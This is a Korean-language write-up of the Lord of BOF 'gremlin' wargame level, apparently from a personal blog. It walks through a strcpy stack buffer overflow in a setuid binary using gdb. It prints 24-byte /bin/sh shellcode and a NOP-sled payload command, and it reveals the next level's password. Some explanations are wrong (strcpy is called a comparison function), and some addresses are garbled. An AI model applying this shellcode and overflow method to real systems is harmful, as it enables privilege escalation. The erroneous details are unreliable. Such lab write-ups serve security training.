localhost login: gate
Password: gate로 로그인 후, ls명령어로 파일들과 권한을 확인해보면 아래와 같다.
ls -al
여기서 ‘s’권한은 linux의 특수권한으로 ‘setUID’이다.
setUID가 설정된 파일은 실행 시 일시적으로 파일 소유자의 권한을 열어 실행할 수 있도록 한다.
따라서 gremlin 파일을 gate가 실행시킬 시, 소유자인 gremlin의 권한으로 rwx를 수행할 수 있는 것이다.
따라서 이 문제는 gate에서 gremlie의 셸을 따내어야한다는 것을 알 수 있다.
cat gremlin.c
먼저 gremlin.c 파일을 살펴보면 아래와 같다.
strcpy() 에서 취약점이 발생할 것이라는 예상을 할 수 있었다.
strcpy 는 문자열을 비교하는 함수로, 널문자를 만나기 전까지 문자열을 모두 복사한다.
메모리의 경계를 검사하지않기 때문에 해당 부분에서 버퍼의 사이즈 보다 큰 값을 복사하게 된다면, Buffer Overflow를 일으킬 것으로 예상된다.
메모리 구조를 살펴보기 앞서, gate 는 gremlin.c 실행 권한이 없기 때문인데, LoB OS가 계속 컴파일 해도 주솟값이 변하지 않는 특성을 이용하여 바이너리를 복사하여 실행하고자한다.
$ cp gremlin gate
$ gdb -q gate
(gdb) disass main
gdb 를 통해서 main의 구조를 살펴보면, 아래와 같은 결과를 확인할 수 있다.
이 결과를 토대로 메인구조를 간략히 나타내면 아래와 같다.
<main+3> 에서 sub함수로 변수를 저장하는 공간을 마련하고 이 크기는 0x100 (=256) 이다.
또한 이 문제에서 셸코드를 버퍼에 삽입해야하는데,
여기서 RET 는 원래 코드 영역으로 돌아가지만, RET를 조작하여 버퍼영역 (셸코드가 삽입되어있는) 으로 돌아가게하여 셸을 획득해야한다.
buf의 주소를 알아내고자 두가지 방법을 생각했다.
1. gremlin.c 파일을 수정하여 buffer 주소 출력하기
2. buffer 크기만큼 입력값을 넣고, gdb 를 사용하여 특정값이 채워진 주솟값을 찾기
$ cp gremlin.c gate.c
$ vi gate.c
gremlin.c 파일을 gate.c 파일로 복사한 뒤, 아래와 같은 코드를 gate.c 파일에 추가해줬다.
변경된 코드를 저장하고 gate.c 파일을 실행하면 버퍼의 주소를 얻을 수 있다.
$ gcc -o temp gate.c
$ ./temp
사진에서 버퍼의 주소는 현 0xbffffa98
이다.
이렇게 얻은 버퍼의 주소를 사용하지 못하는 이유는 버퍼에 입력값을 얼마나 주냐에 따라서 버퍼의 주소가 바뀔 수 있기 때문이다.
그 이유는 strcpy 함수가 원본 값을 복사하기 때문에 원본 크기에 따라 버퍼도 밀리기 때문이다.
(많이 넣을수록 낮은 주소로 밀린다.)
따라서 방법2를 사용하여 버퍼의 주소를 찾아야한다.
strcpy 바로 이후에 브레이크 포인트를 걸어주고 실행시켜준다.
$ cp gremlin gate
(gdb) gdb -q gate
(gdb) b *main+57
(gdb) r `python -c 'print "A"*256 + "B"*4 + "C"*4 + "D"*4'`
(gdb) x/24x $esp
버퍼의 주소를 정확하게 특정하기 어렵기 때문에 0x41
이 채워진 주소 중 하나인 0xbffff910
이라는 주소라 가정하고, NOP 명령어를 사용하여 채워넣고자한다.
(RET는 리틀엔디안형식으로 작성해야함)
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80
nop(100) + shellcode(24) + nop(136) + ret(buffer) 형식으로 공격을 시도했다.
놉명령어 사이에 셸코드를 넣고 ret에 버퍼의 중간주소를 넣으면 공격 성공률이 올라간다고한다.
./gremlin `python -c 'print "\x90"*100 + "{shellcode (24byte)}" + "\x90"*136 + "{Buffer addr(4byte)}"'`
처음에 segmentation fault 가 났는데, 버퍼의 주솟값에서 문제가 생긴것 같았다.
0x41
로 채워진 아무 주소값을 사용하면 될 줄 알았는데, 셸코드가 24바이트고, 버퍼 시작주소가 0xbffffa9
라서? 라고 생각을 헀는데…
그냥 그런이유 보다는 strcpy가 복사하면서 메모리 달라져서 세그먼트 폴트가 뜨는듯하다…
버퍼주소 0xbffff10
으로 하면 안되고 0xbffff50
는 된다.
$ my-pass
-> hello bof world
$ su - gremlin
끗